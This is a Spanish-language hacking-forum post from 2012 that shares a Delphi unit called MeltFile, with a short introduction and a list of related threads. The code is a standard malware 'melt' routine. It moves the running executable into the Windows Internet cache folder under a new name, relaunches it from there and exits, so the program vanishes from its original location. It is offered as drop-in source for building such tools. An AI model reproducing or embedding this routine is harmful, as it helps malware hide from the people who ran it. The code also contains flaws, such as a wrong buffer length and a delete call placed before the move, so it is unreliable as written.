comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

MeltFile [UNIT] [Fakedo0r]

  • 0 Respuestas
  • 1431 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Fakedo0r

  • *
  • Visitante
« en: Abril 19, 2012, 05:10:05 pm »
Los que no conocen la funcion melt, entonces aconsejo usar el San Google.

Código: Delphi
  1. //******************************************************************************
  2. //* UNIT:         UNT_MelFile
  3. //* AUTOR:        Fakedo0r
  4. //* CORREO:       Luvel88@gmail.com
  5. //* BLOG:         Sub-Soul.blogspot.com
  6. //* FECHA:        12.04.2012
  7. //* USO:          MeltFile('prueba');
  8. //******************************************************************************
  9. unit UNT_MeltFile;
  10. //******************************************************************************
  11. //DECLARACION LIBRERIAS / CLASES
  12. //******************************************************************************
  13. interface
  14.  
  15. uses
  16.   Sysutils, Messages, Dialogs, Windows, ShlObj, ShellAPI;
  17. //******************************************************************************
  18. //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
  19. //******************************************************************************
  20. function MeltFile(sFileName: String): Bool;
  21. function GetAppPath: String;
  22. function MsgBoxA(sMessage: String): Smallint;
  23. function GetSpecialFolderA(iCSIDL: Integer):String;
  24. //******************************************************************************
  25. implementation
  26. //******************************************************************************
  27. //<--- OBTIENE LAS RUTAS ESPECIALES --->
  28. //******************************************************************************
  29. function GetSpecialFolderA(iCSIDL: Integer): string;
  30. Var
  31.    pszPath: PChar;
  32.    iRet:    Integer;
  33.    tIDL:    PItemIDList;
  34. begin
  35.   GetMem(pszPath, MAX_PATH);
  36.   iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
  37.  
  38.   if iRet = NOERROR then
  39.   begin
  40.     SHGetPathFromIDList(tIDL, pszPath);
  41.     GetSpecialFolderA := String(pszPath);
  42.   end;
  43.  
  44.   FreeMem(pszPath);
  45. end;
  46. //******************************************************************************
  47. //<--- OBTIENE LA RUTA COMPLETA DEL EJECUTABLE --->
  48. //******************************************************************************
  49. function GetAppPath: String;
  50. var
  51.   dwHnd:    DWORD;
  52.   pszBuff:  PChar;
  53. begin
  54.   dwHnd := 0;
  55.  
  56.   GetMem(pszBuff, MAX_PATH);
  57.   GetModuleFileName(dwHnd, pszBuff, Length(pszBuff));
  58.  
  59.   Result := pszBuff;
  60.  
  61.   FreeMem(pszBuff);
  62. end;
  63. //******************************************************************************
  64. //<--- MUESTRA MENSAJE --->
  65. //******************************************************************************
  66. function MsgBoxA(sMessage: String): Smallint;
  67. begin
  68.    MessageBoxEx(0, PChar(sMessage), PChar('Mensaje'), MB_ICONINFORMATION, 0);
  69. end;
  70. //******************************************************************************
  71. //<--- MELTFILE --->
  72. //******************************************************************************
  73. function MeltFile(sFileName: String): Bool;
  74. var
  75.   sOldPath:   String;
  76.   sDestPath:  String;
  77.   sAccount:   String;
  78. begin
  79.   Result := True;
  80.   sOldPath := GetAppPath;
  81.  
  82.   if sFileName = '' then
  83.   begin
  84.      MsgBoxA('Error');
  85.      Result := False;
  86.      Exit;
  87.   end;
  88.  
  89.   sDestPath := GetSpecialFolderA(CSIDL_INTERNET_CACHE) + '\' + sFileName + '.exe';
  90.  
  91.   if sOldPath <> sDestPath then
  92.   begin
  93.     DeleteFile(PChar(sOldPath));
  94.     MoveFileEx(PChar(sOldPath), PChar(sDestPath), MOVEFILE_COPY_ALLOWED);
  95.     ShellExecute(0 , nil, PChar(sDestPath), '', '', SW_SHOW);
  96.  
  97.     ExitProcess(0);
  98.   end;
  99. end;
  100.  
  101. end.
  102.  

Saludo.
« Última modificación: Abril 21, 2013, 01:05:00 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!



[Delphi] Unit DH Tools 0.2

Iniciado por BigBear

Respuestas: 0
Vistas: 1591
Último mensaje Mayo 14, 2016, 01:45:08 pm
por BigBear
[UNIT] PidGinRec by Metal

Iniciado por Expermicid

Respuestas: 0
Vistas: 1202
Último mensaje Junio 11, 2013, 01:00:27 pm
por Expermicid
[UNIT] BlowFish Encription

Iniciado por Expermicid

Respuestas: 0
Vistas: 1998
Último mensaje Junio 11, 2013, 09:39:39 pm
por Expermicid
EnumInstalledPrograms [UNIT] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 1
Vistas: 1476
Último mensaje Abril 19, 2012, 05:47:47 pm
por Pr0ph3t
ReadWriteAPI [UNIT] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 1482
Último mensaje Abril 19, 2012, 05:08:16 pm
por Fakedo0r